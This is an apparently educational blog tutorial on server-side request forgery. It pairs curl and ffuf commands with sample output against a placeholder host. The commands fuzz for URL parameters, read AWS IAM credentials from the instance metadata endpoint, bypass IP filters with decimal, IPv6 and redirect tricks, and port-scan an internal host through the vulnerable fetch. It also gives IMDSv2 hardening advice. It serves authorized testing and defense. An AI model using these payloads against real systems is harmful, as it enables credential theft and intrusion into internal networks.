In 2021, an SSRF vulnerability in GitLab (CVE-2021-22214) let unauthenticated attackers make the server issue internal HTTP requests — leaking data from services that were never meant to be public. SSRF is consistently in the OWASP Top 10 because developers keep trusting user-supplied URLs without validation. Here’s how attackers find and exploit it, and what defenders need to understand.
What SSRF Actually Is
Server-Side Request Forgery happens when a web application fetches a remote resource based on a URL you control. Instead of pointing it at a legitimate target, you redirect it inward — to localhost, cloud metadata endpoints, or internal services the server can reach but you can’t.
The classic trigger is any parameter that accepts a URL: ?url=, ?src=, ?webhook=, ?fetch=. Import features, PDF generators, and Slack-style link previews are prime real estate. Even image upload endpoints that accept a URL instead of a file upload are fair game.
Finding SSRF with ffuf and Burp Collaborator
ffuf is a fast web fuzzer. Here we’re using it to brute-force parameters on a target that might be vulnerable, piping in a wordlist of common URL-accepting parameter names.
ffuf -u "https://app.corpnet.example/api/fetch?FUZZ=https://your-collaborator-id.oastify.com" \
-w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
-mc 200,302 \
-t 40
# Output:
[Status: 200, Size: 847, Words: 203, Lines: 31]
* FUZZ: url
[Status: 200, Size: 847, Words: 203, Lines: 31]
* FUZZ: src
[Status: 200, Size: 847, Words: 203, Lines: 31]
* FUZZ: target
Three parameters returned 200s and your Burp Collaborator dashboard lit up with DNS lookups from 192.0.2.84 — the app server’s outbound IP. That DNS hit confirms the server is resolving your URL. You haven’t just found a parameter that reflects input; you’ve confirmed the server is making outbound connections on your behalf.
Next step: swap the Collaborator URL for internal targets. Start with the cloud metadata endpoint that never goes out of style.
Exploiting SSRF Against AWS Metadata
If the application runs on AWS EC2, the metadata service lives at 169.254.169.254. It requires no authentication and hands out IAM credentials to anyone on the instance — including your SSRF payload.
curl -s "https://app.corpnet.example/api/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# Response:
prod-ec2-deploy-role
curl -s "https://app.corpnet.example/api/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/prod-ec2-deploy-role"
# Response:
{
"Code": "Success",
"LastUpdated": "2026-11-14T08:12:33Z",
"Type": "AWS-HMAC",
"AccessKeyId": "ASIA4EXAMPLE7QEXAMPLE",
"SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
"Token": "AQoDYXdzEJr//...(truncated)",
"Expiration": "2026-11-14T14:22:11Z"
}
That’s a live set of temporary AWS credentials for the prod-ec2-deploy-role IAM role. An attacker takes those three values — AccessKeyId, SecretAccessKey, and Token — and exports them into the AWS CLI. From there, whatever permissions that role has, the attacker now has: S3 bucket access, EC2 describe calls, Secrets Manager reads. A single SSRF just became a cloud account compromise.
Bypassing Basic SSRF Filters
Many apps block 169.254.169.254 by string match. Attackers route around it constantly. Common bypasses:
- Decimal IP:
http://2852039166/resolves to169.254.169.254 - DNS rebinding: A domain that resolves to the metadata IP after the first check passes
- IPv6:
http://[::ffff:169.254.169.254]/ - Redirect chains: Your server issues a 301 to the internal target after the allowlist check
AWS IMDSv2 was introduced specifically to block SSRF against the metadata service — it requires a PUT request to get a session token before reading credentials. If you’re a defender, enforcing IMDSv2 and setting HttpPutResponseHopLimit: 1 closes the most common SSRF-to-cloud-compromise chain.
Internal Network Pivoting via SSRF
SSRF isn’t only about cloud metadata. It’s also a port scanner that runs from inside the target’s network. Use the app’s fetch functionality to probe internal hosts that you can’t reach directly.
for port in 22 80 443 3306 5432 6379 8080 9200; do
echo -n "Port $port: "
curl -s -o /dev/null -w "%{http_code} (%{time_total}s)" \
"https://app.corpnet.example/api/fetch?url=http://192.0.2.10:$port"
echo
done
# Output:
Port 22: 200 (0.041s)
Port 80: 200 (0.038s)
Port 443: 200 (0.052s)
Port 3306: 000 (30.001s) # Timeout — filtered
Port 5432: 200 (0.039s)
Port 6379: 200 (0.037s) # Redis — no auth required
Port 8080: 200 (0.044s)
Port 9200: 200 (0.040s) # Elasticsearch
Fast responses mean the port is open. A 30-second timeout means the port is filtered or closed. You’ve just mapped an internal host at 192.0.2.10 and found Redis on 6379 and Elasticsearch on 9200 — two services that historically ship with no authentication by default. That’s your next pivot target.
What To Do Now
Open Burp Suite, pick any web app you’re authorized to test, and use the “Copy to file” feature to export all requests that contain URL-like parameters. Run those endpoints against Burp Collaborator with the parameter values replaced by your Collaborator URL. If you get a DNS ping back, you have SSRF. That single test takes under ten minutes and finds a vulnerability class that consistently leads to critical findings.
